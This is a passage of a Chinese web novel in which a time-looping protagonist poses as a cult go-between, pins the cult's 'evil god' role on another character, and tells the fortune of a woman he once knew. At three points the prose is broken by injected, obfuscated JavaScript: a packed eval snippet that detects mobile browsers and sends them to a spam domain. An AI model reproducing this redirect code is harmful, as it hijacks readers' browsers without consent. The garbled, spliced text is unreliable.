隔着屏幕都被满屏幕的感叹号吵到了。 祭品应该是失踪者，听这意思，人暂时还活着，等到月圆之夜再一起献祭。 魃戈很好奇，如果当天召唤仪式完成了，但无事发生，狂热信徒001会做出什么反应？ 会继续自欺欺人，还是从幻想中清醒？ 光是想想都觉得场面很尴尬。 但出于稳妥，他不会为了恶趣味去铤而走险。 魃戈甩了个地址过去。 【魃戈：最快多久能赶到？】 【001：您是要召见我？就我一个人？您不仅与我如密友般短信交流，还邀请我私下单独见面！？神啊，伟大的神，您是看在我一片赤诚的份上，赐予我此等特权吗？】 【魃戈：回答。】 【001：十分钟！很近！我立刻出发，绝不辜负您的期望！您的光芒将如黑色的太阳般照耀大地！】 魃戈：“……” 他讨厌一直说车轱辘话没重点的人，装腔作势罪加一等。 约定地点在占卜摊，地址给的是冷面馆对面。 001抵达的时间比他给的时间还短，魃戈只等了八分钟，就见到了风尘仆仆地赶来的001的真容。 “邪神大人……！” 001难掩和邪神面基的激动，手指和嘴唇微微颤抖，就差原地跪下了。 好在他还有点脑子，知道不能喊得太大声。 魃戈支着脑袋，没睡好的后遗症在片刻的清闲中找上门，他困倦地向上掀起眼皮，视线慢半拍地聚焦在对方的脸上。 待看清001的长相，他稍稍眯起眸子，眼中多了几分审视。 总觉得面容有几分熟悉。 001约莫五十岁出头，稀疏的黑发中混入不少灰白色的发丝，黑黄的皮肤布满沟壑，忽略不正常的神情和精神状态，看起来是一位随处可见的中年大叔。 在脑海里如同逛博物馆般快速过了一圈，魃戈还是没想起在哪儿见过这人。 没办法，他见过的人实在太多了。 如果没有频繁地出现在他的生活中，或者对他的人生起到重大影响，他很难记住不知道在第几周目出现过、一共出现过多少次的人。 魃戈问：“你就是001？” “是的！邪神大人！感谢您赐予我直视神威的荣誉！我必定全力为您效劳！” 001的说话风格和短信里一模一样，感叹号都快具现化了。 代表威严与真理的“古神”不说话，他不敢轻举妄动，杵在摊位前坐也不是、站也不是，但他又怕自己这副摇摆不定的模样会触犯神怒。 直到黑发青年叩了叩空位前的桌子，淡淡地说了一句“坐”，001才虔诚地坐下，窃喜与敬畏掺杂在一起，把他的脑袋压得比柳枝还弯。 无奈的声音从耳边传来：“抬头，别像我在审问你似的。” 001诚惶诚恐：“我是低贱如蝼蚁的人类，怎敢这般冒犯您？” 对方一噎：“……我让你抬头。” “是！请宽恕我的无礼！” 001深呼吸了一下，毅然决然地抬起脑袋。 坐在对面的“黑色太阳”坐姿惬意，骨节分明的手托着下巴，长发、俊朗、清瘦，以往被001唾弃为不符合男性的阳刚特质，在此刻成为不被世俗绑架的象征，无比贴合他心目中邪神的形象。 尤其是那双冷冰冰的红眸，被晨光照亮也无法驱散寒意，平等地漠视一切活物。 ——世界该在血色中颠倒。 001痴痴地望着那双没有情绪的殷红色眼睛，恨不得将自己的血液融入其中。 恍惚之间，一股冰凉的力量裹住他的身体乃至灵魂，像是躺在河流中，被缓缓上涨的清水淹没，从下巴到齿缝，从眉骨到鼻尖，待整张脸像沉底的石头般被摁在水下，世界不再清晰，仿佛隔着怪异的波纹。 有个闷闷的声音在耳边回荡，好像很远，又好像很近。 “001？” “……” “001？” “……是。” “001？” “是。” 001呆滞地顺从命令，像鱼吐泡般咕噜咕噜的，每次张嘴就有看不见的水灌入喉咙，夺走他的呼吸。 直到听见一声轻笑，他的意识彻底涣散。 …… “——啪。” 正在嗦面的海罗被吓得一激灵，汤汁飞溅，脸差点埋进碗里。 他惊魂未定地看向声源，入目是一台摆在桌面上的手机，顺着按住手机的手抬起头，撞上一双含笑的赤眸，熟悉的面容让他陷入死寂般的无语。 又是魃戈，又是遇到准没好事的魃戈。 “刚打算找你呢，没想到那么巧。”黑发青年拉开椅子坐下，对夹着一筷子面条僵在空中的海罗笑了笑，像面馆主人似的熟络地招呼道，“别在意，你继续吃。” 海罗：“……” 怎么可能不在意啊！ 海罗无奈地放下筷子，面条暂时被放生回碗里：“这位……魃戈前辈？是案件有进展了吗？” “是。”魃戈按下屏幕上的播放按钮，“给你听一段录音。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907272|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 音频从手机中传出，嘈杂的背景音不像在室内录制的，仔细听还能听到疾驰的汽车和吆喝的店家。 【“001，你为什么认为我是邪神？”】 这是魃戈的声音。 海罗诧异地看向声音的主人，但对方连表情都没变一下。 【“您不是被困在人类的躯壳中，等待月圆之夜吾等将您从肉.体凡胎中解救出来吗？计划不是您告诉我们的吗？”】 接话的是一位年龄偏大的男性。 海罗眼皮狂跳，案件的严重性比他想象中的还要严重，可他一时半会儿理不清魃戈在其中扮演什么样的身份。 魃戈不是他的队友吗？不是潜入组织的卧底吗？ 怎么听起来是邪教头子？ 【“我代邪神转述，并非邪神本尊。” “什、什……” “我本以为你只是把我认做中转站，就像对着神父喊上帝，但没想到你竟然把我当成了邪神。你的误解已经触怒那位大人了，我不想被你的愚蠢连累，特此澄清。” “不！不！我怎么会犯这种低级错误？我唾弃我的愚蠢，但邪神大人何其无辜！不，不……神使——我该这么称呼您吗？您说，祂会宽恕我的罪吗？” “我无法替他决定，但我相信他是仁慈的。” “真正的邪神大人在哪儿？” “就像你说的，他被人类的躯壳困住了。啊，对了，你应该见过他。” “莫非是……” “对，想起来了吗？” “……辛纳？是辛纳大人吗！？” “没错。”】 录音结束。 海罗的眉头皱成一团，他无法理解那位名为001的狂热信徒，全程激动得像精神病患者，无论是夸张的语气，还是高昂的音量，都吵得他的太阳穴砰砰直跳。 他带着匪夷所思的眼神看向魃戈，换来对方无奈的摊手，仿佛在说习惯就好。 “所以，幕后黑手是辛纳？”海罗费劲地挤出结论。 “对。” “他是什么来头？” “问我？”魃戈挑了挑眉，“身为卧底，我在这个全是精神病的破组织层层往上爬，还钓到真正的大鱼，现在连大鱼的来路都要查得清清楚楚送到你们的手里？干脆让我单打独斗算了。” 首次直接承认身份，他勾起嘴角，似是讥讽：“况且，查身份不应该是你们最擅长的事吗？” 海罗慢半拍才反应过来是在讽刺他怀疑队友，他尴尬地挠了挠脸颊，讪笑道：“我现在就去联系同事。” 魃戈慢悠悠地起身，神态和言语大相径庭：“抓紧时间，月圆之夜没几天了，可别祭品真成祭品了。” “等下！”海罗赶紧叫住。 魃戈垂下眼睫，脖子与下巴分毫不动，显得格外居高临下：“还有什么事？” 海罗紧张地咽了咽，语气中多了几分慎重：“你们聊的邪神是不存在的吧？” 魃戈一副看弱智的表情：“你觉得呢？” 他摇了摇头，懒得多解释，留下一句“老了卖你保健品”就头也不回地离开了。 海罗：“……” 又被人身攻击了，甚至是迄今为止最严重的一次。 15.第十五章 计划顺利进展，魃戈松了一口气。 他精神控制001说出那段对话，为的就是进一步解除身份引起的误会，转而把真正的邪神安排给辛纳。 辛纳是《平凡勇者从零开始击败魔王》是终极BOSS，无论出于魔王的身份，还是反派的定位，都比他这个没在原作中登场过的角色更合适饰演邪神，论坛也更能接受。 天降大锅？ 和他有什么关系？他不也没干那些事吗？ 能者多劳，辛苦了。 光是和被操纵的001自导自演没用，只有在接龙中出现的设定才能同步反馈到魃戈所处的世界。 因此，他带着准备好的录音去捕捉海罗。 精神控制肯定不能当着勇者的面进行，没有第三人干扰的固定剧本最为稳妥，最后走一个流程，演给论坛看，让这帮擅自决定他命运的讨厌鬼们触及“真相”。 他，魃戈，绝不是处于主角团对立面的邪神。 更不是该想方设法被消灭的存在。 至于海罗的想法和计划，不重要，这不是刚甩掉黑锅的倒霉蛋该考虑的事，而且贵为主角的勇者充其量只是起到移动电话亭的作用。 谁使用通讯设备会考虑通讯设备的感受？ 要说999周目对魃戈最明显的改变，那就是对其他人越来越无所谓的态度，也许会有人唾弃他的无情和冷酷——得了，有谁会这么做呢？连周遭发生什么变化都意识不到的傀儡们，指望他们指着鼻子骂他，还不如指望论坛对他进行道德审判。 他完全能把案件引导成邪神降临再从中抽身，让世界陷入论坛最爱看的混乱中。 可他没有。 难道不该夸他仁至义尽吗？ 更何况根本没人讨伐他，论坛正在为新剧情而狂欢。 【辛纳？新人物？（呆）】 【原作里的魔王啊！勇者小队讨伐的魔王！】 【出于意料但合乎情理的展开hhh】 【魔王=邪神，我无法反驳】 【我只想知道那些ip未知的帖子是不是同一个人发的？】 【不是挂梯子出的bug吗】 【救命，001疯疯癫癫的好吓人，如果是未成年人也就算了，看描述好像是个中年大叔啊啊啊啊啊】 【我怎么觉得那段录音怪怪的……】 【+1，像两个伪人】 【都走火入魔了，像人机也正常】 【我觉得挺好的呀，写得很严谨，魃戈用的是“他”，001用的是“祂”，一眼看出魃戈是卧底。】 【魃戈卧底辛苦了（拍肩）】 【所以到底是邪教还是封建迷信还是传销？（后仰）】 【有啥区别吗？都是祸害人的玩意儿】 【啊，失踪家长被当成祭品了，是这个意思吗？】 【笑死了，被卖了还替人数钱的典范】 【可恶，我想看邪神降临，怎么是这个展开QAQ】 和预料的一模一样。 哪怕有人提出小小的质疑，很快就有好心人帮他找补，更不会有人对认知中随着玩的接龙拿出考据的态度。 退一万步说过，当BUG不就得了？ BUG而已，没人当真。 魃戈吐出一口浊气，他停下脚步，占卜摊近在咫尺，竖在桌子上的纸板不知何时被吹到了，没有字的一面朝上。 他伸手把纸板扶正，露出「占卜！有偿算命！」。 盯着飘逸的字迹看了几秒，魃戈默默把纸板按了下去，还原几秒前的摆放位置。 算了，今天休假。 不，一天不够，休息到破案或者月圆之夜为止。 魃戈揉了揉太阳穴。 他一时半会儿不想和通天命之类的评价扯到一起，占卜也好，预测接龙走向也罢，没有一件是真正的占卜。料事如神非但没有一切尽在掌控的成就感，反倒心生难以形容的烦躁。 精神系异能者，情绪不稳定是大忌，他必须尽快调整好。 …… 正值下班高峰，瑞娅骑车路过车站。 公交车把人像货物似的一车一车往外运，双脚落地的人们脸上满是疲惫之情。 尽管斯顿雷是一座慢节奏的小城镇，竞争比不过加班成习惯的国际大都市，但没有压力的生活到哪儿都是一种奢望，小城市也有小城市的烦恼。 人一旦有了烦恼，就想把希望寄托于神秘力量。 比如近期的失踪案，据说数名受害者皆是与邪神有牵连的受害者，引得居民人心惶惶。 瑞娅本不属于其中的一员。 但即将退休的她有更为现实的烦恼，那就是她的女儿。 一想到非但无法给女儿提供助力，还逐渐走向衰老，未来反倒需要女儿来照顾自己，她就忍不住鼻尖发酸，不信鬼神不信命的她头一回想要寄托于虚无缥缈的玄学。 正巧，下班路上瞅见一处特殊的摊位，她想图个安心去问问。 瑞娅推车走向简陋的摊位。 她瞄了一眼「占卜！有偿算命！」的招牌，叫住坐在小板凳上打哈欠的摊主： “小伙子。” 对方闻声抬头。 马尾如丝绸般从肩膀滑落背后，系发用的红缎带在一片乌黑中格外显眼，但比发带更吸睛的是那双绯色的眼眸，尚未褪去困意，哈欠挤出的泪珠如晨露般点缀其中。 视线相交的那一刻，赤眸像是突然被冻结的血浆，看不懂的情绪在冰层之下翻涌，却很快归于平静。 年轻的面孔让瑞娅略微迟疑，他算得准吗？不应该是头发花白的老师傅吗？ 她忽然联想到那起失踪案。 难不成是……？ 瑞娅浮想联翩，摊主却似乎没有留意到她的情绪，他揉去眼角的睡意，挑起清爽的笑容： “下午好，有什么可以帮到你的吗？” …… 赶在下班的人流高峰，魃戈久违地出摊。 摊位积了一层薄灰和几片落叶，他问冷面馆老板娘借了一块抹布，仔细地擦拭桌椅。 休假仅短短几日。 虽然他想多休息一段时间，但越来越扁的钱包不允许他躺平，再躺就要躺大街了，他确实也该考虑如何在崭新的世界长期稳定地谋生，光靠摆摊占卜和打低薪零工不太现实。 等邪神一事处理完毕，他打算绕着主角团走了，最好论坛用户把他忘得一干二净，别再把他牵扯进去了。 他要安安稳稳地过日子。 如蚁群般打圈的死亡漩涡已经停止，逃离圈内的人生是时候向前走了。 关于拯救世界免受论坛控制的事，这段时间他认真地考虑过了。 目前他手上有五块碎片，意味着他需要和主角团再接触九百九十五次，且不提最终奖励能不能起到帮助，接触五次就遇到那么大的麻烦，鬼知道再接触下去会触发什么事件。 从性价比来考虑，他认为并不划算。 与其精力浪费重蹈覆辙，不如顺应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913799|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界的改变，再怎么说他也完成最初的目标了。 魃戈把用好的抹布丢到一边，打着哈欠陷入畅想，说得好听点叫职业规划。 难道他也要摆摊卖煎饼果子？ 别的不提，他做煎饼的技术肯定比海罗强，三百六十行，行行出魃戈，833周目他以厨师为目标，一路做到了皇家御厨，区区煎饼不在话下。 但摆摊就不能去冷面馆打下手了，他也蹭不到免费冷面了。 酸汤冷面是他的的心头爱，量多美味，百吃不腻，站在店门口就能闻到勾起食欲的香味，还有看着像黑暗料理的豆浆冷面，味道也不错。 以前魃戈环游各地吃遍大陆，以为世界上只有他不敢吃的，没有他没见过的，结果居然冒出那么多新奇的美食。 煎饼果子起了坏开头，害他满脑子都是吃吃吃。 但这才对嘛。 世界啊，勇者啊，剧情啊，论坛啊，这些都…… “——小伙子，你算得准吗？” ……和他没关系。 熟悉的声音在头顶响起，打断了魃戈的思绪，也打断了试图融入新世界的意图，缓缓沉入大海的心脏被人双手捧起，暴露在刺眼的烈阳之下。 他抬眸向上望去，诧异地看着叫住自己的中年女性。 是瑞娅村长。 是坚信他能成为大魔法师的瑞娅村长。 尽管世界变化前后的衣服类型不一样，但她仍保持朴素的穿衣风格，整体颜色偏灰偏暗，布料看起来有些年头了。 魃戈怔怔地盯着瑞娅村长。 距离上次分离已经过了十三年，模糊的长相从记忆中跳出来，清晰地呈现在眼前，可单方面的重逢并不能带来喜悦，对方的眼神与看陌生人无异。 怎么会是她？ 为什么偏偏是她？ 于魃戈而言，瑞娅的存在等同于新开始的象征，因为每次重启都以她病重为初始事件，以此划分两个周目。 卡在这个节骨眼上出现，仿佛在提醒自己—— 不要沉溺。 安稳度日只是他的自我麻痹。 他以为的结束不是结束，而是新的开始。 魃戈垂下视线，睫毛的阴影半遮住瞳，他假装揉眼睛缓解陷入沉默的尴尬，顺便将哈欠带来的湿意用指节抹去。 再次抬眼时，他调整好状态，像是对待陌生人般笑着询问： “下午好，有什么可以帮到你的吗？” 瑞娅面露犹豫：“算一次多少钱？贵吗？” “一顿饭钱，取决于你平常一顿饭需要多少钱。” 即便是单方面的故友，魃戈也要明算帐，这可关系到今后的生存。 好想痛斥命运不公。 他怎么就不能像小乞丐一样走路上被人无缘无故塞一碗冷面呢？ 反观瑞娅松了一口气。 要是开口是一串惊天数字，她只能打着“下次再来”的幌子找借口脱身。 瑞娅掏出泛黄的碎花零钱包，拿出一张折角的十元纸币，粗糙的手指抚平褶皱，然后搁在桌上。 由于钉在纸币上的视线过于强烈，她压着钱币的手指不自在地缩了一下指节，皱巴巴的纸币就像她的人生似的，被平整地被摊开，一览无遗。 她赶紧补了五块钱，那份窘迫才缓解了一些。 “这些，就这么多，我的一顿饭钱。” 多给的五块钱给了瑞娅短暂的勇气，她顿了顿，小声试探： “你看行吗？” 16.第十六章 魃戈盯着瑞娅的手指。 粗糙的指腹和长茧的指节与印象中的如出一辙，就像维池的【天才】属性，既是角色设定，又是不可磨灭的烙印。 余光敏锐地捕捉到瑞娅的情绪变化，但意识到已经晚了，视线落下的地方恰好与纸币是同一处，再解释只会加重窘迫。 “这些，就这么多，我的一顿饭钱。” “你看行吗？” 魃戈迎上暗藏局促的眼睛，他轻笑一声，抽走十元纸币：“我只收第一份。” “但是……” “这是规矩，一份钱对应一次占卜，之后补的我收了就必须再给你算一次，否则我会折寿。” 煞有其事的口吻成功唬住了瑞娅。 她慌张地把五元纸币收了回去，生怕晚一秒就会让这位年轻的摊主少活一年。 “开始吧。” 魃戈没看纸牌一眼，全靠肌肉记忆洗牌，轻薄的纸片在桌上利落地抹开，像是徒手画了一道彩虹。 他说出滚瓜烂熟的台词：“抽三张牌放桌上，别去动它们，然后注视我的眼睛，不要移开视线。” 熟练又神秘的操作打消了瑞娅的顾虑。 她闭上眼睛，双手合十，在心中虔诚地祈祷有一个好结果，接着郑重地抽了三张，比对待十元纸币还小心翼翼。 牌卡放在桌上，她睁眼看向黑发青年，比血还浓稠的红眸理应和灾祸与不详挂钩，但她意外地没有感受到一丝冷森，反倒柔和得像氤氲的温泉。 她有些失神，又有些熟悉，好像在遥远的过去见过这双眼睛。 “——好了。” 读取记忆停止，魃戈垂眸掩住眼底的情绪。 破案了，他终于知道对001的熟悉感从何而来了。 001是瑞娅的丈夫。 魃戈和此人的交集不多，大部分集中在尚未陷入循环的1周目和每周目的开头，真名是什么记不清了，仅存的印象是烂泥扶不上墙的废物。 啊，他想起来了。 他到6周目才学会治愈魔法救下瑞娅村长，在此之前，每周目她病逝后，废物丈夫就拿她积攒了一辈子的遗产挥霍无度，甚至一分钱都不留给他们的女儿，害他干了不少有道德瑕疵的事。 比如把001一脚踹进河里，看他大冬天在水里狼狈地扑腾； 比如把001吊在树上当靶子，招呼村里的孩子们用铜币投掷他的脑门； 比如把001关进仓库，当着他的面烧掉珍藏的字画； 比如…… 001越是气愤地咒骂，魃戈笑得越开心。 反正一切都会重启，他做什么都不会被人记住，就算杀了001，新周目照旧会活蹦乱跳地“复活”。 当然，他没下过死手，开局背负人命不利于他行动。 6周目后，魃戈从死神的手里抢回瑞娅村长，但废物丈夫的存在始终是个隐患，他又不得离开村子，所以他谎称村外有挣钱发财的机会，见钱眼开的001果然上钩了。 出了村，他甚至不需要多费口舌，001和邪教徒双向奔赴，精力全都放在研究禁术，他都想夸一句太擅长洗脑了。 然后他“好心”地把邪教一锅端了。 邪教徒被教会处置，消息传不到瑞娅村长的耳中，从根本上解决了这个大麻烦。 此后的每一周目他都这么干。 想到这里，魃戈不禁嘴角抽搐。 虽然《平凡勇者从零开始击败魔王》从未出现过001，理论来说，角色当下的处境是世界自动修复的成果，但他有种咎由自取的感觉。 001，不会是因为被他打包丢给邪教徒太多次，才会在新世界被安排为这个角色吧？ 那他被001坚定不移地指认为邪神…… 打住。 他是无辜的中间商。 “怎么样？”瑞娅忐忑不安地问。 思绪被打断，魃戈不再纠结其中的因果，他翻开三张纸片，思索几秒后，装模作样地解读：“你的丈夫不在身边。” 瑞娅激动地说：“对，对对！” “从牌面来看，他还在人世，但不知所踪，你们应该有很长时间没有联络了。”魃戈顿了顿，“不过，比起不负责任的丈夫，你更在意你的孩子——我看看，是个女儿吗？” 瑞娅的家庭和斯顿雷王国时期相似，丈夫自称外出务工，从此再也联系不上了。 ……和他干过的“好”事没太大区别。 不会真是他导致的吧！？ 瑞娅没看出魃戈微妙的心情，连连应道：“是女儿。” 一旦被被戳中了心事，许多人会忘记自己正在占卜，一股脑儿地把忧虑全都说了出来。 这也是很多骗子能成功的原因。 “我生她生得晚。好不容易有了孩子，但因为是女孩……”瑞娅叹了口气，把本质原因咽了下去，“哎，他一直不给我们母女俩好脸色，跑了也好，省得成天添堵。” “还好孩子很争气，没让我操过心。她考上了很好的大学，以后想考公务员，我也很支持她。” 说着，她的眼眶湿润了：“但我年纪大了，越来越觉得有心无力……” “不必担心，你女儿很优秀。”魃戈平静地应对，“她会带着你一起过上幸福的生活。” 瑞娅的眼泪落了下来：“真的吗？” “真的。” ——大概是真的吧。 魃戈对未来会发生什么一概不知。 但在原本的世界，瑞娅的女儿露莎去了斯顿雷最好的魔法学院。 她对魔法充满了兴趣，不仅天赋好，还努力上进，在很多周目都当上了赫赫有名的大魔法师——前提是世界能延续下去。 瑞娅因此对魔法师有超乎常人的执念。 在她的眼里，露莎是魔法师，所以魔法师是最好的。 “太好了……”瑞娅长舒一口气，她恨不得将陌生人的话当做至理名言刻在心底，视为露莎的美好前程，“是我胡乱担心了，我就知道她没问题……” 袖管拂去眼泪，被浸湿的布料留下淡淡的水渍。 她不好意思地笑了笑：“让你见笑了，不知道怎么回事，看到你觉得很亲切，情不自禁地就把心里的想法说给你听。” “……是吗？”魃戈微微一愣，脸上的营业笑容不露端倪，“还有想问的吗？” “那她能考上公务员吗？” 魃戈放缓声音，语气拥有令人信服的魔力：“相信她，而不是相信我。” 他漫不经心地想，公务员，应该是公职人员的意思吧？ 再后来露莎回母校任教了，不知道在新世界算不算公职人员，但按照她的能力和毅力，想必是没问题的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14919172|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明白，我明白！”瑞娅激动地点头，“是我糊涂了，我应该相信她的能力，我要对她有信心！但是……” 话锋一转，她的神色多了几分为难：“但有一点我不放心。” “什么？” 瑞娅左右环视，确定周围没人，她才压低声音道：“最近的失踪案你听说了吗？” “我知道。” “虽然我没啥文化，但基本的常识还是有的。”瑞娅抿了抿嘴，“我丈夫失踪的时间点太巧了，我怀疑他和案子有关系，如果他是受害者倒无所谓，可如果和那些东西扯上关系……这、这是犯罪吧？肯定会影响到家里，尤其是我女儿的前途。” 魃戈愣住：“影响？” 瑞娅哭丧着脸：“三代不能考公。” 魃戈：“……” 新世界还有这规定啊。 那问题大了，妥妥的有关系，还是很大的关系。 “大师，你能帮我看看，我老公和案子有关系吗？”见半天得不到答案，瑞娅慌乱地从钱包里掏出面值最大的五十元纸币，苦苦哀求道，“拜托了，我不在乎他是死是活，我只想知道他会不会害了我女儿？” 手被死死地攥住，魃戈不敢用蛮力甩开，但下场却是纸币像是打地洞的泥鳅般挤入掌心。 他僵着身体，头一次感到无措。 连那条指认他是邪神的短信都不足以让乱了手脚。 顷刻之间，无数念头在魃戈的脑海内闪过，现状如揉成一团的毛线球般繁杂，而他偏偏越混乱越冷静。 难道要用善意的谎言欺骗对方？还是赌结案后001的身份不会被查出来？ 骂他自私也好，骂他伪善也罢，无论如何，他都不愿给出肯定的答案，可故事的结局不是他一张嘴就说了算了，他也不能将希望寄托于小概率事件上，这不是他的风格。 所以，该从根源解决吗？ 沉默让瑞娅愈加绝望。 在她的心即将落到谷底之际，声音在耳边响起。 “放心。” 随着最后一个字的落下，那双暗淡的眼睛骤然亮起，魃戈轻轻弯起眼眉，避开正面回答：“你女儿不会有事的。” 既然001的安危不重要，那就有操作空间了。 他松开手指，将纸币交还，强硬的力道与温柔的语气截然相反。 瑞娅更坚持了：“不行，你一定要收下。” “听我解释。” 魃戈伸手指向桌上被选中的纸片，按理来说，他需要用尽词汇量去描绘尚未落实的未来，以此讨得瑞娅的欢心，证明一顿饭钱的价值。 但到嘴边的谎话就像即将抹在吐司上的果酱，从草莓酱变成了橘子酱。 流程不变，内容变了。 “三张牌的抽取顺序和摆放位置正好符合汤克星、维池星和希尔洛星的布局，从而形成象征丰收与新生的海罗星象，流失的财富将归为原处，星辰的指引即是最好的安排。” “所以，我不能收取占卜费用。” 感谢占星系魔法，感谢占星骗子。 感谢明明毫无用处却总要谢一句的光明女神。 信口拈来的本事强得可怕。 魃戈收回无价值的三张纸牌，将五十元纸片连带着最开始的十元推向表情茫然的瑞娅。 他眼笑眉舒：“期待你的下次光临，女士。” 17.第十七章 说好的明算帐，魃戈在最后一刻还是动摇了。 他以为瑞娅能像海罗一样重获新生，可他错了，世界变了，瑞娅的人生没有变。 世界总是对主角以外的人偷工减料。 不对，说反了。 应该是增添没必要的麻烦。 早知道把001托付给邪教徒会牵扯出一系列的连锁反应，他就不用那么简单粗暴的手段了，但换其他方式处置001指不定也会投射到新世界，况且他暂时没有依据确定两者之间存在因果联系。 事已至此，马后炮是最没用的。 送走心情比来时轻松不少的瑞娅，魃戈掏出手机发送短信。 收件人是辛纳。 【魃戈：下午好。】 他原本没有辛纳的联系方式，是他拿录音笔找海罗晃了一圈后，通讯录才多出了辛纳的名字。 感谢世界修正助他圆谎。 手机响了一声，显示是来自辛纳的短信。 【辛纳：什么事？】 回得真快。 魃戈移开视线，任由屏幕变暗。 他慢悠悠地把纸牌收好，塞到外套口袋里，起身和忙碌的冷面馆老板娘打了个招呼，随后收摊离开。 不急着回复，晚饭时间到。 沿街走到一家没来过的店铺，在老板的推荐下，魃戈点了生煎和酸辣粉。 等餐期间，他掏出手机刷短视频。 这是新世界最流行的娱乐方式，碎片式内容适合见缝插针地打发时间，但没什么含金量，在机械化动作的催化下容易上瘾，一眨眼几个小时就没了。 好在他不是短视频的受众，刷这玩意儿是因为入乡随俗，了解大众的爱好。 他不追求含金量，他追求沉浸式。 他喜欢全身心地投入有别于现实的事件中，而不是快进快出，浅尝辄止，像踩在分割线上小幅度地反复踱步。 这是周目循环延续下来的习惯。 进度足够长才能分散他的注意力，让他暂时遗忘无法快进的现实。 “——你的餐齐了。” 老板亲自端来的食物打断动作，企图下滑的大拇指顿在离屏幕极近的距离。 魃戈放下手机：“谢谢。” “生面孔啊，以前没见过你。”老板自来熟地攀谈，“刚搬来斯顿雷？还是来找人的？” “算是刚来的。” 魃戈也不确定。 虽然世界变了一副模样，但从斯顿雷王国到斯顿雷小镇，前缀的保留说明他的地理位置应该没发生变化，只不过对于生活在城镇的居民而言，他是陌生的侵入者。 老板面露诧异：“太稀奇了，很少有年轻人愿意留在这里，他们都挤着脑袋往大城市去。” “我觉得这里挺好的，很有生活气息。”魃戈学着隔壁桌，往碟子里倒了点醋，“但维池——那位大名鼎鼎的天才，他不也留在这里？” 老板摆了摆手：“他不一样。” “哪里不一样？” “这……” 老板猛地卡壳，像是被问到题库范围外的问题，没有事先准备过的仓促写在脸上，他茫然地盯着卷起一筷子粉的黑发青年，半天才憋出一句： “因、因为他是天才，所以一定有他的道理吧？” 魃戈失笑：“嗯，我也觉得。” 他看未必。 维池出现在这里，是因为故事需要他在这里，就像棋盘上的棋子，规则要求它必须摆放在此处。 换言之，「天才」和棋盘上的国王皇后是同样的定位。 魃戈无意和老板争论，他细嚼慢咽地吃饱喝足，重新把注意力挪回正事上。 回复短信的事还能再放一放，论坛才是最重要的。 预留了充足的时间，正是为了观察他和辛纳的互动会不会被记载入论坛，即便反派不属于主角团，但也是关键人物，谨慎为妙。 因此，他没有提太多信息，选择了最保险的问候。 魃戈打开论坛。 续写停留在上次的内容，话题已经偏到了那些年遇到过的灵异事件。 【我老家信黄鼠狼仙，感觉和邪神差不多，都是这种神神叨叨的东西】 【对对对，我姥姥说她小时候村里有人出轨被抓到现行，那人往地上一躺开始抽搐，把围观的人吓得半死，后来是说是被黄鼠狼仙上身就不了了之了】 【我也听说过，偷钱就说被黄鼠狼仙上身了】 【？谁家黄鼠狼仙那么窝囊啊！！】 【和国外的恶魔差不多嘛】 【都是恶魔的诱惑233】 魃戈头一回和论坛用户高度共鸣。 他碰到过不少做坏事被抓包的人声称自己被附身，实际检测不到魔力痕迹。 最离谱的是800周目，那周目他走的是魔王路线，有次他隐瞒身份恰好撞见打着魔族的幌子敛财的组织，为了划清界限，他收集完证据把组织一锅端了。 被打假的领头人见没有回旋的余地，居然咬死自己被魔王附身，一切行为与本人无关。 魃戈：？ 他请问呢？ 当然，结局是没人相信劣质的谎言，魔王的清白保住了。 【但辛纳不适合自称邪神附体来撇清关系，他的原设定就是魔王诶】 【邪神和魔王是一个意思吗】 【不是吧，听起来不像一个体系的】 【那就被魔王附身哈哈哈】 ……魔王到底做错了什么？ 历代魔王没有一位有附身人类的癖好啊！ 而且，以他对辛纳的了解，就算被捕也干不出躺在地上抽搐说自己被附身的蠢事。 除非是被论坛强制的。 【为啥默认辛纳会被抓？顶多001落网，幕后真凶不会那么蠢地暴露在是视线下】 【难不成今后的续写要围绕着警察和邪教头子斗智斗勇？】 【这种事情不要哇QAQ】 【想写刑侦文自己另开一本，我不想天天看主角破案……】 【我觉得挺有意思的呀（挠头）】 【煎饼果子配便衣警察就很套路啊！！乍一看很有趣，但这是流行很多年的梗了！曝出魃戈是邪神害我小小激动了一下，我猜他不是正派，可他没想到他是BOSS，邪神变卧底也蛮惊喜的……问题是！真正的BOSS居然是辛纳？？天啊，怎么能搭配这么无聊的收场？？？】 【是的是的，只能算合乎逻辑】 【提出的那一刻会觉得“哇噻！圆回去了”，但仔细想想，不还是没跳出原作吗？】 【邪神是牧师小姐姐都比辛纳有意思】 【意思是剧情太常规了吗】 【泥萌好严格。。】 【可以不合理，但不要无聊。】 【我不在乎，我只想看脑洞和反转（狗头）】 魃戈：“……” 越看越心惊胆战。 不是，这帮家伙想干嘛？ 毁了他的清净吗？ 